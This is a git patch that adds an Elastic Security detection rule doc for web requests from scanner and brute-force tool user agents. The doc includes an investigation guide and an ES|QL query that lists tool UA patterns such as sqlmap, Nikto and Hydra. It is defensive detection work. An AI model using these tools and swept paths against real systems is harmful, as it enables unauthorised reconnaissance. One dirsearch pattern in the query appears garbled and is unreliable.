+==== Investigation guide
+
+
+ ## Triage and analysis
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
+
+
+*Investigating Web Server Suspicious User Agent Requests*
+
+
+This rule flags surges of web requests that advertise scanner or brute-force tool user agents, signaling active reconnaissance against your web servers and applications. A common pattern is dirsearch or gobuster sweeping for hidden paths, firing hundreds of rapid GETs across diverse URLs from one host and probing admin panels, backup folders, and robots.txt.
+
+
+*Possible investigation steps*
+
+
+- Verify whether the activity aligns with approved scanners or uptime checks by cross-referencing inventories, allowlists, change windows, and egress ranges; otherwise enrich the originating IP with ASN, geolocation, and threat reputation to gauge risk.
+- Sample representative requests to identify targeted paths and payloads (e.g., admin panels, .git/.env, backups, traversal, SQLi/XSS markers) and note any successful responses or downloads that indicate information exposure.
+- Analyze request rate, methods, and status-code distribution to separate noisy recon from successful discovery or brute-force patterns, highlighting any POST/PUT with nontrivial bodies.
+- Correlate the same client across hosts and security layers (application/auth logs, WAF/CDN, IDS) to determine whether it is scanning multiple services, triggering signatures, or attempting credential stuffing.
+- Assess user-agent authenticity and evasiveness by comparing HTTP header order/values and TLS fingerprints (JA3/JA4) to expected clients, and verify true client identity via forwarded-for headers if behind a proxy or CDN.
+
+
+*False positive analysis*
+
+
+- Legitimate, scheduled vulnerability assessments by internal teams (e.g., Nessus, Nikto, or OpenVAS) can generate large volumes of requests with those user-agent strings across many paths.
+- Developer or QA testing using discovery/fuzzing or intercept-proxy tools (Dirsearch, Gobuster, Ffuf, Burp, or OWASP ZAP) may unintentionally target production hosts, producing a short-lived spike with diverse URLs.
+
+
+*Response and remediation*
+
+
+- Immediately contain by blocking or rate-limiting the originating IPs at the WAF/CDN and edge firewall, and add temporary rules to drop or challenge requests that advertise tool user agents such as "nikto", "sqlmap", "dirsearch", "wpscan", "gobuster", or "burp".
+- If traffic is proxied (CDN/reverse proxy), identify the true client via forwarded headers and extend blocks at both layers, enabling bot management or JS challenges on swept paths like /admin, /.git, /.env, /backup, and common discovery endpoints.
+- Eradicate exposure by removing or restricting access to sensitive files and directories uncovered by the scans, rotating any credentials or API keys found, invalidating active sessions, and disabling public access to administrative panels until hardened.
+- Recover by verifying no unauthorized changes or data exfiltration occurred, tuning per-IP and per-path rate limits to prevent path-sweeps while preserving legitimate traffic, and reintroducing normal rules only after fixes are deployed and stability is confirmed.
+- Escalate to incident response if sensitive files are successfully downloaded (HTTP 200/206 on /.git, /.env, or backups), any login or account creation succeeds, multiple hosts or environments are targeted, or activity persists after blocking via UA spoofing or rapid IP rotation.
+- Harden long term by enforcing WAF signatures for known scanner UAs and path patterns, denying directory listing and direct access to /.git, /.env, /backup and similar artifacts, requiring MFA/VPN for /admin and management APIs, and deploying auto-ban controls like fail2ban or mod_security.
+
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+from logs-network_traffic.http-*, logs-network_traffic.tls-*, logs-nginx.access-*, logs-apache.access-*, logs-apache_tomcat.access-*, logs-iis.access-*
+
+| eval Esql.user_agent_original_lower = to_lower(user_agent.original)
+
+| where
+    (url.original is not null or url.full is not null) and
+  (
+		Esql.user_agent_original_lower like "mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/537.36 (khtml, like gecko) chrome/74.0.3729.169 safari/537.36" or // Nikto
+		Esql.user_agent_original_lower like "nikto*" or // Nikto
+		Esql.user_agent_original_lower like "mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)" or // Nessus Vulnerability Scanner
+        Esql.user_agent_original_lower like "*nessus*" or // Nessus Vulnerability Scanner
+		Esql.user_agent_original_lower like "sqlmap/*" or // SQLMap
+		Esql.user_agent_original_lower like "wpscan*" or // WPScan
+		Esql.user_agent_original_lower like "feroxbuster/*" or // Feroxbuster
+		Esql.user_agent_original_lower like "masscan*" or // Masscan & masscan-ng
+		Esql.user_agent_original_lower like "fuzz*" or // Ffuf
+		Esql.user_agent_original_lower like "mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/537.36 (khtml, like gecko) chrome/user_agent.original like~ 87.0.4280.88 safari/537.36" or // Dirsearch
+		Esql.user_agent_original_lower like "mozilla/4.0 (compatible; msie 6.0; windows nt 5.1)" or // Dirb
+		Esql.user_agent_original_lower like "dirbuster*" or // Dirbuster
+		Esql.user_agent_original_lower like "gobuster/*" or // Gobuster
+        Esql.user_agent_original_lower like "*dirsearch*" or // dirsearch
+		Esql.user_agent_original_lower like "*nmap*" or // Nmap Scripting Engine
+        Esql.user_agent_original_lower like "*hydra*" or // Hydra Brute Forcer
+        Esql.user_agent_original_lower like "*w3af*" or // w3af Web Application Attack and Audit Framework
+        Esql.user_agent_original_lower like "*arachni*" or // Arachni Web Application Security Scanner
+        Esql.user_agent_original_lower like "*skipfish*" or // Skipfish Web Application Security Scanner
+        Esql.user_agent_original_lower like "*openvas*" or // OpenVAS Vulnerability Scanner
+        Esql.user_agent_original_lower like "*acunetix*" or // Acunetix Vulnerability Scanner
+        Esql.user_agent_original_lower like "*zap*" or // OWASP ZAP
+        Esql.user_agent_original_lower like "*burp*" // Burp Suite
+  )
+
+| eval Esql.url_text  = case(url.original is not null, url.original, url.full)
+| eval Esql.url_lower = to_lower(Esql.url_text)
+
+| keep
+    @timestamp,
+    event.dataset,
+    user_agent.original,
+    source.ip,
+    agent.id,
+    host.name,
+	Esql.url_lower,
+    Esql.user_agent_original_lower
+| stats
+    Esql.event_count = count(),
+    Esql.url_path_count_distinct = count_distinct(Esql.url_lower),
+    Esql.host_name_values = values(host.name),
+    Esql.agent_id_values = values(agent.id),
+    Esql.url_path_values = values(Esql.url_lower),
+    Esql.user_agent_original_values = values(Esql.user_agent_original_lower),
+    Esql.event_dataset_values = values(event.dataset)
+    by source.ip, agent.id
+| where
+    Esql.event_count > 50 and Esql.url_path_count_distinct > 10
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Reconnaissance
+** ID: TA0043
+** Reference URL: https://attack.mitre.org/tactics/TA0043/
+* Technique:
+** Name: Active Scanning
+** ID: T1595
+** Reference URL: https://attack.mitre.org/techniques/T1595/
+* Sub-technique:
+** Name: Scanning IP Blocks
+** ID: T1595.001
+** Reference URL: https://attack.mitre.org/techniques/T1595/001/
+* Sub-technique:
+** Name: Vulnerability Scanning
+** ID: T1595.002
+** Reference URL: https://attack.mitre.org/techniques/T1595/002/
+* Sub-technique:
+** Name: Wordlist Scanning
+** ID: T1595.003
+** Reference URL: https://attack.mitre.org/techniques/T1595/003/
+* Tactic:
+** Name: Credential Access
+** ID: TA0006
+** Reference URL: https://attack.mitre.org/tactics/TA0006/
+* Technique:
+** Name: Brute Force
+** ID: T1110
+** Reference URL: https://attack.mitre.org/techniques/T1110/
diff --git a/docs/index.asciidoc b/docs/index.asciidoc
index 10818ed01b..67adb56582 100644
--- a/docs/index.asciidoc
+++ b/docs/index.asciidoc
@@ -103,3 +103,5 @@ include::detections/prebuilt-rules/downloadable-packages/8-19-8/prebuilt-rules-8
 include::detections/prebuilt-rules/downloadable-packages/8-19-9/prebuilt-rules-8-19-9-appendix.asciidoc[]
 
 include::detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rules-8-19-10-appendix.asciidoc[]
+
+include::detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rules-8-19-11-appendix.asciidoc[]

From 9dc1ca0ad6dfa24f4a33b6b7c586e188df866b3e Mon Sep 17 00:00:00 2001
From: Shashank K S <Shashank.Suryanarayana@elastic.co>
Date: Tue, 25 Nov 2025 12:49:37 +0530
Subject: [PATCH 2/2] Remove depreacted rule references

---
 .../8-19-11/prebuilt-rules-8-19-11-appendix.asciidoc            | 1 -
 .../8-19-11/prebuilt-rules-8-19-11-summary.asciidoc             | 2 --
 2 files changed, 3 deletions(-)

diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rules-8-19-11-appendix.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rules-8-19-11-appendix.asciidoc
index f6cad16d98..c165100ce9 100644
--- a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rules-8-19-11-appendix.asciidoc
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rules-8-19-11-appendix.asciidoc
@@ -94,4 +94,3 @@ include::prebuilt-rule-8-19-11-service-creation-via-local-kerberos-authenticatio
 include::prebuilt-rule-8-19-11-potential-privileged-escalation-via-samaccountname-spoofing.asciidoc[]
 include::prebuilt-rule-8-19-11-remote-computer-account-dnshostname-update.asciidoc[]
 include::prebuilt-rule-8-19-11-suspicious-seincreasebasepriorityprivilege-use.asciidoc[]
-include::prebuilt-rule-8-19-11-deprecated-aws-root-login-without-mfa.asciidoc[]
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rules-8-19-11-summary.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rules-8-19-11-summary.asciidoc
index de087dfd0e..e28789f109 100644
--- a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rules-8-19-11-summary.asciidoc
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rules-8-19-11-summary.asciidoc
@@ -189,6 +189,4 @@ This section lists all updates associated with version 8.19.11 of the Fleet inte
 
 |<<prebuilt-rule-8-19-11-suspicious-seincreasebasepriorityprivilege-use, Suspicious SeIncreaseBasePriorityPrivilege Use>> | Identifies attempts to use the SeIncreaseBasePriorityPrivilege privilege by an unusual process. This could be related to hijack execution flow of a process via threats priority manipulation. | update | 2 
 
-|<<prebuilt-rule-8-19-11-deprecated-aws-root-login-without-mfa, Deprecated - AWS Root Login Without MFA>> | Identifies attempts to login to AWS as the root user without using multi-factor authentication (MFA). Amazon AWS best practices indicate that the root user should be protected by MFA. | deprecated | 213 
-
 |==============================================